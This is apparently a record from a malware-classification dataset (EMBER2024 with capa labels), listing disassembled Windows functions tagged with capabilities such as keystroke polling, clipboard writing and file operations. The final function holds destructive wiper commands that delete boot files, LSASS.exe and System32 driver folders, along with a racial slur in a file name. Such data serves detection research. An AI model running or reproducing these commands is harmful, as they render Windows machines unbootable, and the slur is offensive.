joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400127c4
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
test ecx, ecx
je 0x14001283b
movsxd rdx, ecx
lea rcx, [0x140012720]
call qword [sym.imp.USER32.DLL_EnumWindows]
mov rbx, qword [0x1400c4128]
test rbx, rbx
je 0x1400128ae
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x140012831
cmp byte [rbx + 0x20], 0
je 0x140012831
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea rdx, [r9 - 2]
xor r8d, r8d
call qword [sym.imp.USER32.DLL_SetWindowPos]
mov rbx, rdi
test rdi, rdi
jne 0x1400127f7
jmp 0x1400128ae
mov rbx, qword [0x1400c4128]
test rbx, rbx
je 0x1400128ae
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x1400128a6
cmp byte [rbx + 0x21], 0
je 0x14001286a
mov rcx, qword [rbx + 0x18]
mov edx, 1
call qword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [rbx + 0x20], 0
je 0x140012896
mov rcx, qword [rbx + 0x18]
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
or rdx, 0xffffffffffffffff
call qword [sym.imp.USER32.DLL_SetWindowPos]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400c4128]
call fcn.14001e254
mov rbx, rdi
test rdi, rdi
jne 0x140012847
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x1400185b8
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.USER32.DLL_GetFocus]
mov rdi, rax
test rax, rax
je 0x140018661
mov ecx, 9
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
jns 0x140018661
mov ecx, 0x11
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
js 0x140018661
mov ecx, 0x10
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
js 0x140018661
mov ecx, 0x12
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
js 0x140018661
lea rdx, [rsp + 0x40]
mov r8d, 5
mov rcx, rdi
call qword [sym.imp.USER32.DLL_GetClassNameA]
lea rdx, str.Rich
lea rcx, [rsp + 0x40]
mov r8d, 4
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x140018661
xor r9d, r9d
xor r8d, r8d
mov edx, 0x44e
mov rcx, rdi
call qword [sym.imp.USER32.DLL_SendMessageA]
bt rax, 0xb
jae 0x14001870b
test rbx, rbx
je 0x1400186a0
mov ecx, 0x11
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
js 0x140018693
mov ecx, 0x10
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
js 0x140018693
mov ecx, 0x12
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
jns 0x1400186a0
mov edx, 1
mov rcx, rbx
call fcn.140018564
test rdi, rdi
je 0x1400186ba
lea rdx, str.PB_Hotkey
mov rcx, rdi
call qword [sym.imp.USER32.DLL_GetPropA]
test rax, rax
jne 0x14001870b
lea rdx, str.PB_WindowID
mov rcx, rbx
call qword [sym.imp.USER32.DLL_GetPropA]
mov rdi, rax
test rax, rax
je 0x14001870b
lea rdx, [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.USER32.DLL_GetWindowThreadProcessId]
test eax, eax
je 0x14001870b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x38], eax
jne 0x14001870b
mov rcx, qword [0x1400c4c10]
lea rdx, [rdi - 1]
call fcn.14001d914
test rax, rax
je 0x14001870b
mov rax, qword [rax + 0x10]
jmp 0x14001870d
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140019604
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edx, ecx
mov ebx, 0x104
mov ecx, ebx
call fcn.14001e6e0
mov ecx, ebx
mov rdx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, str.Kernel32.DLL
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
test rax, rax
je 0x140019676
lea rdx, str.GetLongPathNameA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001966d
mov r8d, ebx
mov rdx, rsi
mov rcx, rsi
call rax
mov edi, eax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
sub ebx, edi
mov ecx, ebx
call fcn.14001e860
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
movsxd r11, edi
mov byte [r11 + rsi], 0
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140019744
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
test rcx, rcx
je 0x140019757
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
cdqe
jmp 0x140019759
xor eax, eax
add rsp, 0x28
ret

Function at 0x140019760
Capabilities:
Copy file

Disassembly:
sub rsp, 0x28
test rcx, rcx
je 0x14001977b
test rdx, rdx
je 0x14001977b
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
cdqe
jmp 0x14001977d
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400197a0
Capabilities:
Check if file exists
Get disk information
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x170]
sub rsp, 0x270
or rbx, 0xffffffffffffffff
test rcx, rcx
je 0x1400198d2
cmp byte [rcx], 0
je 0x1400198d2
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call sub.msvcrt.dll_strncpy
lea rcx, [rsp + 0x20]
mov byte [rbp + 0x24], 0
call sub.msvcrt.dll_strlen
mov r11, rax
cdqe
lea rcx, [rsp + rax + 0x1f]
cmp r11d, 2
je 0x140019802
cmp r11d, 3
jne 0x14001983c
cmp byte [rsp + 0x21], 0x3a
jne 0x14001983c
cmp r11d, 2
jne 0x140019820
lea rdx, [0x14006be58]
lea rcx, [rsp + 0x20]
call sub.msvcrt.dll_strcat
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
jbe 0x1400198d2
jmp 0x1400198aa
mov byte [rcx], 0
dec rcx
cmp byte [rcx], 0x5c
je 0x140019836
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rcx, rax
cmp rax, rbx
je 0x14001987c
test byte [rbp + 0x30], 0x10
je 0x140019867
mov rbx, 0xfffffffffffffffe
jmp 0x140019874
mov ebx, dword [rbp + 0x4c]
mov eax, dword [rbp + 0x50]
shl rbx, 0x20
or rbx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x1400198d2
cmp byte [rsp + 0x20], 0x5c
mov al, byte [rsp + 0x21]
jne 0x14001988b
cmp al, 0x5c
je 0x140019896
cmp byte [rsp + 0x20], 0x2e
jne 0x1400198d2
cmp al, 0x2e
jne 0x1400198d2
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400198b3
test al, 0x10
je 0x1400198d2
mov rbx, 0xfffffffffffffffe
jmp 0x1400198d2
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov rcx, rbx
mov rbx, 0xfffffffffffffffe
cmp eax, 1
cmova rcx, rbx
mov rbx, rcx
mov rax, rbx
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rbp
ret
Function at 0x1400198f0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rcx
mov dword [rsp + 0x40], eax
cmp dword [rcx + 0x1c], eax
jne 0x140019936
mov r8d, dword [rcx + 0x10]
mov rdx, qword [rcx + 8]
lea r9, [rsp + 0x40]
sub r8d, dword [rcx + 0x14]
mov rcx, qword [rcx]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r11d, dword [rbx + 0x10]
movsxd rax, dword [rsp + 0x40]
mov dword [rbx + 0x14], r11d
add rsp, 0x30
pop rbx
ret
cdqe
add rsp, 0x30
pop rbx
ret

Function at 0x14001a040
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
mov edi, r8d
mov rsi, rdx
mov dword [rsp + 0x48], ebx
test rdx, rdx
je 0x14001a0b8
test r8d, r8d
je 0x14001a0b8
mov rdx, rcx
mov rcx, qword [0x1400c4ca0]
call fcn.14001d914
test rax, rax
je 0x14001a0b4
mov r8d, edi
mov rdx, rsi
cmp qword [rax + 8], rbx
je 0x14001a0a1
mov rcx, rax
call fcn.14001a4c0
mov ebx, eax
cdqe
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rax]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
movsxd rax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x14001a0d0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x30
mov rbx, rcx
mov ebp, 0x1000
mov r12d, edx
mov ecx, ebp
call fcn.14001e6e0
mov rcx, qword [0x1400c4ca0]
mov rdx, rbx
mov rsi, rax
mov rdi, rax
call fcn.14001d914
mov rbx, rax
test rax, rax
je 0x14001a21f
mov qword [rsp + 0x60], r13
xor r13d, r13d
nop word [rax + rax]
mov byte [rsp + 0x70], r13b
lea rdx, [rsp + 0x70]
cmp qword [rbx + 8], r13
je 0x14001a144
mov r8d, 1
mov rcx, rbx
call fcn.14001a5c0
mov dword [rsp + 0x78], eax
jmp 0x14001a15d
mov rcx, qword [rbx]
lea r9, [rsp + 0x78]
mov r8d, 1
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadFile]
movzx edx, byte [rsp + 0x70]
test dl, dl
je 0x14001a170
mov byte [rdi], dl
movzx edx, byte [rsp + 0x70]
inc rdi
mov rcx, rdi
movsxd rax, ebp
sub rcx, rsi
cmp rcx, rax
jl 0x14001a19e
add ebp, 0x1000
mov edx, r12d
sub edi, esi
mov ecx, ebp
call fcn.14001e6e0
movzx edx, byte [rsp + 0x70]
movsxd rdi, edi
mov rsi, rax
add rdi, rax
test dl, dl
je 0x14001a21a
cmp dword [rsp + 0x78], r13d
je 0x14001a1b7
cmp dl, 0xd
je 0x14001a1b7
cmp dl, 0xa
jne 0x14001a120
dec rdi
cmp dl, 0xd
jne 0x14001a21a
lea rdx, [rsp + 0x70]
cmp qword [rbx + 8], r13
je 0x14001a1da
mov r8d, 1
mov rcx, rbx
call fcn.14001a5c0
jmp 0x14001a1f3
mov rcx, qword [rbx]
lea r9, [rsp + 0x78]
mov r8d, 1
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp byte [rsp + 0x70], 0xa
je 0x14001a21a
cmp qword [rbx + 8], r13
je 0x14001a205
inc dword [rbx + 0x14]
jmp 0x14001a21a
mov rcx, qword [rbx]
mov r9d, 1
xor r8d, r8d
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r13, qword [rsp + 0x60]
sub esi, edi
mov byte [rdi], 0
lea ecx, [rbp + rsi]
call fcn.14001e860
add rsp, 0x30
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001a240
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdx, rcx
mov rcx, qword [0x1400c4ca0]
xor ebx, ebx
mov dword [rsp + 0x50], ebx
call fcn.14001d914
mov rdi, rax
test rax, rax
je 0x14001a2e4
cmp qword [rax + 8], rbx
je 0x14001a2a7
lea r8d, [rbx + 1]
lea rdx, [rsp + 0x50]
mov rcx, rax
call fcn.14001a5c0
test rax, rax
je 0x14001a294
inc dword [rdi + 0x14]
movsxd rax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ebx, 1
movsxd rax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rax]
lea r9, [rsp + 0x58]
lea rdx, [rsp + 0x48]
mov r8d, 1
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001a2f6
cmp dword [rsp + 0x58], ebx
je 0x14001a2f6
mov rcx, qword [rdi]
mov r9d, 1
xor r8d, r8d
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [rsp + 0x50]
movsxd rax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
or ebx, 0xffffffff
movsxd rax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x14001a310
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov rdx, rcx
mov rcx, qword [0x1400c4ca0]
call fcn.14001d914
mov rbx, rax
test rax, rax
je 0x14001a364
cmp qword [rax + 8], 0
je 0x14001a342
cmp dword [rax + 0x1c], 0
jne 0x14001a342
mov rcx, rax
call fcn.1400198f0
mov rcx, qword [rbx]
lea rdx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r11d, eax
mov eax, dword [rsp + 0x38]
shl rax, 0x20
or rax, r11
add rsp, 0x20
pop rbx
ret
or rax, 0xffffffffffffffff
add rsp, 0x20
pop rbx
ret

Function at 0x14001a370
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x38
mov rdx, rcx
mov rcx, qword [0x1400c4ca0]
mov byte [rsp + 0x48], 0
call fcn.14001d914
test rax, rax
je 0x14001a3ce
cmp qword [rax + 8], 0
lea rdx, [rsp + 0x48]
je 0x14001a3b1
mov r8d, 1
mov rcx, rax
call fcn.14001a5c0
movzx eax, byte [rsp + 0x48]
add rsp, 0x38
ret
mov rcx, qword [rax]
lea r9, [rsp + 0x50]
mov r8d, 1
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
movzx eax, byte [rsp + 0x48]
add rsp, 0x38
ret

Function at 0x14001a3e0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x38
mov rdx, rcx
mov rcx, qword [0x1400c4ca0]
mov dword [rsp + 0x48], 0
call fcn.14001d914
test rax, rax
je 0x14001a441
cmp qword [rax + 8], 0
lea rdx, [rsp + 0x48]
je 0x14001a424
mov r8d, 4
mov rcx, rax
call fcn.14001a5c0
movsxd rax, dword [rsp + 0x48]
add rsp, 0x38
ret
mov rcx, qword [rax]
lea r9, [rsp + 0x50]
mov r8d, 4
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsxd rax, dword [rsp + 0x48]
add rsp, 0x38
ret
Function at 0x14001a450
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x38
mov rdx, rcx
mov rcx, qword [0x1400c4ca0]
mov byte [rsp + 0x48], 0
call fcn.14001d914
test rax, rax
je 0x14001a4af
cmp qword [rax + 8], 0
lea rdx, [rsp + 0x48]
je 0x14001a492
mov r8d, 1
mov rcx, rax
call fcn.14001a5c0
movsx rax, byte [rsp + 0x48]
add rsp, 0x38
ret
mov rcx, qword [rax]
lea r9, [rsp + 0x50]
mov r8d, 1
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsx rax, byte [rsp + 0x48]
add rsp, 0x38
ret

Function at 0x14001a4c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx + 0x1c], 1
movsxd rdi, r8d
mov rsi, rdx
mov rbx, rcx
mov dword [rsp + 0x50], 0
jne 0x14001a50a
mov edx, dword [rcx + 0x14]
mov rcx, qword [rcx]
mov r9d, 1
neg edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [rbx + 0x10]
mov dword [rbx + 0x1c], 0
mov dword [rbx + 0x14], eax
mov ecx, dword [rbx + 0x14]
cmp ecx, edi
jle 0x14001a546
mov eax, dword [rbx + 0x10]
mov edx, edi
sub eax, ecx
movsxd rcx, eax
add rcx, qword [rbx + 8]
dec edx
je 0x14001a53f
dec edx
je 0x14001a537
cmp edx, 2
je 0x14001a531
mov rdx, rsi
jmp 0x14001a594
mov eax, dword [rsi]
mov dword [rcx], eax
jmp 0x14001a59c
movzx eax, word [rsi]
mov word [rcx], ax
jmp 0x14001a59c
movzx eax, byte [rsi]
mov byte [rcx], al
jmp 0x14001a59c
mov rcx, rbx
call fcn.1400198f0
mov r11d, dword [rbx + 0x10]
mov rdx, rsi
cmp edi, r11d
jl 0x14001a589
mov rcx, qword [rbx]
lea r9, [rsp + 0x50]
mov r8d, edi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
movsxd rax, dword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
sub r11d, dword [rbx + 0x14]
movsxd rcx, r11d
add rcx, qword [rbx + 8]
mov r8, rdi
call sub.msvcrt.dll_memcpy
sub dword [rbx + 0x14], edi
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov rax, rdi
add rsp, 0x30
pop rdi
ret
Function at 0x14001a5c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
xor r12d, r12d
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
cmp dword [rcx + 0x1c], r12d
jne 0x14001a5f4
call fcn.1400198f0
mov dword [rbx + 0x1c], 1
mov dword [rbx + 0x14], r12d
movsxd rcx, dword [rbx + 0x14]
mov eax, dword [rbx + 0x18]
sub eax, ecx
mov rbp, rcx
cmp rcx, rdi
jl 0x14001a659
movsxd rcx, eax
mov rax, rdi
add rcx, qword [rbx + 8]
dec rax
je 0x14001a64f
dec rax
je 0x14001a641
cmp rax, 2
je 0x14001a635
mov rdx, rcx
mov r8, rdi
mov rcx, rsi
call sub.msvcrt.dll_memcpy
movsxd rax, edi
jmp 0x14001a6d4
mov eax, dword [rcx]
mov dword [rsi], eax
movsxd rax, edi
jmp 0x14001a6d4
movzx eax, word [rcx]
mov word [rsi], ax
movsxd rax, edi
jmp 0x14001a6d4
movzx eax, byte [rcx]
mov byte [rsi], al
movsxd rax, edi
jmp 0x14001a6d4
movsxd rdx, eax
mov r8, rcx
mov rcx, rsi
add rdx, qword [rbx + 8]
call sub.msvcrt.dll_memcpy
movsxd r8, dword [rbx + 0x10]
mov rcx, qword [rbx]
sub rdi, rbp
add rsi, rbp
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
cmp rdi, r8
jl 0x14001a6a1
mov r8d, edi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x50]
mov dword [rbx + 0x14], r12d
add eax, ebp
cdqe
jmp 0x14001a6d7
mov rdx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsxd r11, dword [rsp + 0x50]
mov rdx, qword [rbx + 8]
cmp rdi, r11
mov rcx, rsi
mov dword [rbx + 0x14], r11d
cmovg rdi, r11
mov dword [rbx + 0x18], r11d
mov r8, rdi
call sub.msvcrt.dll_memcpy
lea eax, [rbp + rdi]
cdqe
sub dword [rbx + 0x14], edi
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret

Function at 0x14001a6ec
Capabilities:
Open clipboard

Disassembly:
push rbx
sub rsp, 0x20
xor ecx, ecx
xor ebx, ebx
call qword [sym.imp.USER32.DLL_OpenClipboard]
test eax, eax
je 0x14001a70e
call qword [sym.imp.USER32.DLL_EmptyClipboard]
mov ebx, eax
call qword [sym.imp.USER32.DLL_CloseClipboard]
movsxd rax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x14001a718
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
xor ecx, ecx
xor ebx, ebx
call qword [sym.imp.USER32.DLL_OpenClipboard]
test eax, eax
je 0x14001a7ae
lea rsi, [0x14006baf8]
test rdi, rdi
cmovne rsi, rdi
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov ecx, 0x2002
inc eax
movsxd rbp, eax
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdi, rax
test rax, rax
je 0x14001a7a8
call qword [sym.imp.USER32.DLL_EmptyClipboard]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14001a7a8
mov r8, rbp
mov rdx, rsi
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea ecx, [rbx + 1]
mov rdx, rdi
call qword [sym.imp.USER32.DLL_SetClipboardData]
mov rbx, rax
call qword [sym.imp.USER32.DLL_CloseClipboard]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14001aafc
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1400c4cb0], eax
add rsp, 0x28
ret

Function at 0x14001ab48
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edi, edi
mov rbx, rcx
test rcx, rcx
je 0x14001aba5
call qword [rbx + 0xb0]
mov rdi, rax
test rax, rax
jne 0x14001aba5
mov rax, qword [rbx + 0xd0]
test rax, rax
je 0x14001ab7d
xor edx, edx
mov rcx, rbx
call rax
mov rcx, qword [0x1400c3454]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [0x1400c4cb0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
and qword [0x1400c4cc0], 0
mov rax, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14001ac00
Capabilities:
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x1400c4cc0]
test rbx, rbx
je 0x14001ac5a
mov rcx, rbx
call qword [rbx + 0xb8]
mov r11, qword [rbx + 0xd0]
test r11, r11
je 0x14001ac32
mov edx, 1
mov rcx, rbx
call r11
mov rcx, qword [0x1400c3454]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [0x1400c4cb0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
and qword [0x1400c4cc0], 0
add rsp, 0x20
pop rbx
ret
Function at 0x1400404a0
Capabilities:
Encode data using xor

Disassembly:
mov rdx, rcx
test rcx, rcx
je 0x14004055e
mov rax, qword [rcx]
xor r8d, r8d
lea r11, [0x14006c180]
mov byte [rax + 0x16], r8b
mov rax, qword [rcx]
mov byte [rax + 0x17], r8b
mov rax, qword [rcx]
mov byte [rax + 0x18], r8b
mov rax, qword [rcx]
mov byte [rax + 0x19], r8b
mov eax, dword [rcx + 8]
test eax, eax
jle 0x140040503
mov r9, qword [rcx]
mov r10d, eax
nop
movzx eax, byte [r9]
mov ecx, r8d
inc r9
shr rcx, 0x18
xor rcx, rax
mov eax, r8d
mov r8d, dword [r11 + rcx*4]
shl eax, 8
xor r8d, eax
dec r10
jne 0x1400404e0
mov eax, dword [rdx + 0x18]
test eax, eax
jle 0x140040534
mov r9, qword [rdx + 0x10]
mov r10d, eax
movzx eax, byte [r9]
mov ecx, r8d
inc r9
shr rcx, 0x18
xor rcx, rax
mov eax, r8d
mov r8d, dword [r11 + rcx*4]
shl eax, 8
xor r8d, eax
dec r10
jne 0x140040511
mov rax, qword [rdx]
mov ecx, r8d
mov byte [rax + 0x16], r8b
mov rax, qword [rdx]
shr ecx, 8
mov byte [rax + 0x17], cl
mov rax, qword [rdx]
mov ecx, r8d
shr ecx, 0x10
shr r8d, 0x18
mov byte [rax + 0x18], cl
mov rax, qword [rdx]
mov byte [rax + 0x19], r8b
repz ret
Function at 0x140055960
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, ecx
mov rcx, qword [0x1400c3454]
mov edx, 8
mov r8d, 0x210
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x1400c4cb0]
mov rdx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov qword [0x1400c4cc0], rdi
and dword [rdi + 0xf4], 0
or eax, 0xffffffff
mov edx, ebx
mov rcx, rdi
mov dword [rdi + 0xf0], 0xffffff
mov dword [rdi + 0xd8], 2
mov dword [rdi + 0xdc], 0x3f
mov dword [rdi + 0xf8], eax
mov dword [rdi + 0xfc], eax
call fcn.14005e47c
mov rbx, qword [rsp + 0x30]
lea rax, [0x140055914]
lea r11, [0x1400558b8]
mov qword [rdi + 0xb8], rax
lea rax, [fcn.14005457c]
mov qword [rdi + 0xb0], r11
mov qword [rdi + 0x20], rax
lea rax, [0x140054758]
mov qword [rdi + 0x60], rax
lea rax, [0x1400548b0]
mov qword [rdi + 0xc8], rax
lea rax, [0x140054910]
mov qword [rdi + 0xc0], rax
lea rax, [0x140055340]
mov qword [rdi + 0x68], rax
lea rax, [0x140055178]
mov qword [rdi + 0x48], rax
lea rax, [0x1400551a4]
mov qword [rdi + 0x50], rax
lea rax, [0x1400551d4]
mov qword [rdi + 0x58], rax
lea rax, [0x1400556d4]
mov qword [rdi + 0x88], rax
mov rax, rdi
add rsp, 0x20
pop rdi
ret
Function at 0x140001000
Capabilities:
Execute command
Self delete
Terminate process

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F_C:WindowsSystem32Winload.EFI
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__F__S__Q_C:WindowsBoot_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ren_Winload.EFI_niggerWinload.EFI
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F__Q_C:WindowsSystem32LSASS.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__im_LSASS.exe__f__t
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F__Q_C:WindowsSystem32LSASS.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__F__S__Q_C:WindowsSystem32drivers_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__F__S__Q_C:WindowsSystem32Boot_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
